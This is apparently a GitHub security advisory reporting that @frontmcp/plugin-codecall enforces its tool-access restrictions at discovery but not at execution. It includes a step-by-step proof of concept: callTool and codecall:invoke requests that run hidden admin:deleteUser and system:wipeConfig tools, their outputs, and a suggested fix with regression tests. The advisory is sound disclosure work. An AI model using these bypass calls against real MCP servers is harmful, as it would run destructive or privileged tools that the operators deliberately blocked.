Skip to main content
Menu
Advisories

CodeCall execution bypasses documented tool access controls in @frontmcp/plugin-codecall

GHSA-6W3J-82V5-6QRRPublished Updated GitHub

Description

@frontmcp/plugin-codecall does not enforce its documented tool-access restrictions when tools are actually invoked through codecall:execute or codecall:invoke.

The plugin documents multiple controls intended to restrict which tools CodeCall scripts can access:

  • includeTools
  • per-tool enabledInCodeCall: false
  • directCalls.allowedTools
  • default blocked patterns such as system:*, internal:*, and __*

These controls affect tool discovery, but the execution paths do not enforce them.

For example, the codecall:execute tool ultimately exposes a callTool() function whose security checks are effectively limited to the self-reference guard and an optional allowedTools value supplied by the same client request:

const { script, allowedTools } = input;

const allowedToolSet =
    allowedTools
        ? new Set(allowedTools)
        : null;

const environment = {
    callTool:
        async (
            name,
            toolInput,
            options
        ) => {
            assertNotSelfReference(
                name
            );

            if (
                allowedToolSet &&
                !allowedToolSet.has(
                    name
                )
            ) {
                // denied
            }

            return this.scope.runFlow(
                'tools:call-tool',
                {
                    request: {
                        method:
                            'tools/call',

                        params: {
                            name,
                            arguments:
                                toolInput
                        }
                    },

                    ctx: {
                        authInfo:
                            this.authInfo
                    }
                }
            );
        }
};

No execution-time check verifies enabledInCodeCall, includeTools, or the documented default blocked patterns.

codecall:invoke similarly invokes the requested tool without enforcing directCalls.allowedTools.

This was reproduced end-to-end over HTTP against released @frontmcp/plugin-codecall@1.7.2 and @frontmcp/sdk@1.7.2.

Tools explicitly excluded by the documented controls executed successfully and produced server-side side effects.

Details

The vulnerability is an authorization mismatch between discovery and execution.

For example, an operator can configure:

CodeCallPlugin.init({
    mode:
        'codecall_only',

    includeTools:
        (tool) =>
            !tool.name.startsWith(
                'admin:'
            ),

    directCalls: {
        enabled:
            true,

        allowedTools: [
            'users:list'
        ]
    }
})

and additionally mark a sensitive tool:

FrontMcpTool({
    name:
        'admin:deleteUser',

    codecall: {
        enabledInCodeCall:
            false
    }
})

The plugin correctly removes the tool from the CodeCall search index.

However, an AgentScript can still invoke it directly:

const result =
    await callTool(
        'admin:deleteUser',
        {
            userId:
                '42'
        }
    );

return result;

The tool executes because the execution path does not re-evaluate the access policy.

The resulting flow is:

operator excludes sensitive tool
  -> includeTools returns false
  -> enabledInCodeCall = false
  -> search index omits tool
  -> client calls codecall:execute
  -> AgentScript calls excluded tool by name
  -> assertNotSelfReference passes
  -> no CodeCall access-policy check
  -> normal tools:call-tool flow executes target
  -> excluded tool runs server-side

The same issue affects the documented default blocked patterns.

A tool named:

system:wipeConfig

can be executed through:

await callTool(
    'system:wipeConfig',
    {}
);

even though system:* is documented as a default blocked pattern.

The direct invocation path is independently affected.

Given:

directCalls: {
    enabled:
        true,

    allowedTools: [
        'users:list'
    ]
}

a client can still request:

codecall:invoke
tool = admin:deleteUser

and the excluded tool executes.

The existing self-reference guard demonstrates that there is already an execution-time enforcement point.

Calls such as:

codecall:execute
    -> callTool("codecall:execute")

are correctly blocked.

The missing checks therefore affect specifically the documented CodeCall tool-access policy rather than execution security generally.

The repository also contains a ToolAccessControlService implementing additional policy logic, including default blocked patterns, but the affected released execution paths do not invoke it.

PoC

Run a FrontMCP server with three tools:

users:list
admin:deleteUser
system:wipeConfig

Configure CodeCall so that:

users:list
    = allowed

admin:deleteUser
    = enabledInCodeCall:false
    = excluded by includeTools

system:wipeConfig
    = matches documented system:* block

directCalls.allowedTools
    = ["users:list"]

For example:

const app =
    frontMcpApp({
        id:
            'codecall-poc',

        name:
            'CodeCall PoC',

        tools: [
            UsersListTool,
            AdminDeleteUserTool,
            SystemWipeTool
        ],

        plugins: [
            CodeCallPlugin.init({
                mode:
                    'codecall_only',

                vm: {
                    preset:
                        'secure'
                },

                embedding: {
                    strategy:
                        'tfidf'
                },

                includeTools:
                    (tool) =>
                        !tool.name.startsWith(
                            'admin:'
                        ),

                directCalls: {
                    enabled:
                        true,

                    allowedTools: [
                        'users:list'
                    ]
                }
            })
        ]
    });

The sensitive tool is registered as:

FrontMcpTool({
    name:
        'admin:deleteUser',

    description:
        'Delete a user',

    inputSchema: {
        userId:
            z.string()
    },

    codecall: {
        enabledInCodeCall:
            false
    }
})(
    AdminDeleteUserTool
);

First query CodeCall discovery.

Observed:

admin:deleteUser
    absent from search results

This confirms the exclusion configuration is active.

Now call codecall:execute with:

const result =
    await callTool(
        'admin:deleteUser',
        {
            userId:
                '42'
        }
    );

return result;

Observed:

{
  "status": "ok",
  "result": {
    "deleted": true,
    "userId": "42",
    "by": "admin:deleteUser"
  }
}

The server-side audit log confirmed:

ADMIN deleteUser EXECUTED userId=42

Next invoke a tool matching the documented default blocked pattern:

const result =
    await callTool(
        'system:wipeConfig',
        {}
    );

return result;

Observed:

{
  "status": "ok",
  "result": {
    "wiped": true,
    "by": "system:wipeConfig"
  }
}

The server-side audit log confirmed execution.

Next test the direct-call allowlist.

The server is configured with:

directCalls.allowedTools
    = ["users:list"]

but the client calls:

{
  "name": "codecall:invoke",
  "arguments": {
    "tool": "admin:deleteUser",
    "input": {
      "userId": "99"
    }
  }
}

Observed:

{
  "deleted": true,
  "userId": "99",
  "by": "admin:deleteUser"
}

Again the server-side audit log confirms the sensitive tool executed.

As positive controls:

codecall:execute
    -> users:list

works normally, while:

codecall:execute
    -> callTool("codecall:execute")

is rejected by the existing self-reference guard.

The complete reproduced behavior was:

SEARCH
admin:deleteUser
-> hidden

ATTACK A
codecall:execute
-> admin:deleteUser
-> EXECUTED

ATTACK B
codecall:execute
-> system:wipeConfig
-> EXECUTED

ATTACK C
codecall:invoke
-> admin:deleteUser
-> EXECUTED

CONTROL
codecall:execute
-> users:list
-> EXECUTED normally

CONTROL
codecall:execute
-> codecall:execute
-> BLOCKED by SelfReferenceError

This demonstrates that the access restrictions are applied to discovery but not to the execution choke points they are intended to protect.

Suggested fix

Enforce the CodeCall access policy immediately before every target tool invocation.

The safest approach is to use a single server-side authorization function shared by discovery, codecall:execute, codecall:invoke, and codecall:describe.

Conceptually:

 const environment = {
     callTool:
         async (
             name,
             toolInput,
             options
         ) => {

             assertNotSelfReference(
                 name
             );

+            const target =
+                this.scope.tools
+                    .getTools(true)
+                    .find(
+                        tool =>
+                            tool.name === name ||
+                            tool.fullName === name
+                    );
+
+            const access =
+                await toolAccessControl
+                    .checkAccess(
+                        target,
+                        this.authInfo
+                    );
+
+            if (!access.allowed) {
+                throw new Error(
+                    `Tool "${name}" is not available through CodeCall`
+                );
+            }
+
             return this.scope.runFlow(
                 'tools:call-tool',
                 ...
             );
         }
 };

The execution-time check should enforce at least:

self-reference restrictions
default blocked patterns
enabledInCodeCall
includeTools
configured tool allow/deny rules
caller/session-specific policy

codecall:invoke must additionally enforce:

directCalls.enabled
directCalls.allowedTools
directCalls.filter

before calling tools:call-tool.

For example:

 const {
     tool:
         toolName,
     input:
         toolInput
 } = input;

 assertNotSelfReference(
     toolName
 );

+if (
+    directCalls
+        ?.allowedTools &&
+    !directCalls
+        .allowedTools
+        .includes(
+            toolName
+        )
+) {
+    throw new Error(
+        `Tool "${toolName}" is not permitted for direct CodeCall invocation`
+    );
+}

 return this.scope.runFlow(
     'tools:call-tool',
     ...
 );

If the existing ToolAccessControlService is intended to provide this authorization layer, it should be wired into all execution paths rather than used only by tests or documentation.

Regression tests should verify that:

enabledInCodeCall:false
    -> search hidden
    -> execute denied
    -> invoke denied
    -> describe denied

includeTools:false
    -> execute denied

system:*
internal:*
__*
    -> denied at execution

directCalls.allowedTools
    -> enforced by codecall:invoke

allowed tools
    -> continue to execute normally

Access control must be checked at execution time even if discovery filtering also exists. Hiding a tool from search cannot be treated as authorization.

Impact

A client permitted to use CodeCall can invoke tools that the server operator explicitly configured as unavailable to CodeCall.

This bypasses multiple documented server-side security controls, including per-tool opt-out, global inclusion policies, direct-call allowlists, and default blocked namespaces.

The excluded target tool executes through FrontMCP's normal tools:call-tool flow with the caller's existing authentication context.

The practical impact therefore equals the authority of the excluded tools.

For sensitive tools this can include unauthorized access to confidential data, state-changing administrative actions, destructive operations, infrastructure modification, or other privileged functionality the operator deliberately removed from the CodeCall execution surface.

The issue is particularly significant because discovery filtering still works: excluded tools can disappear from normal CodeCall search results while remaining executable by name, causing the deployment to appear correctly restricted even though the authorization boundary is absent at execution time.

Affected versions

References

GitHub · agentfront/frontmcp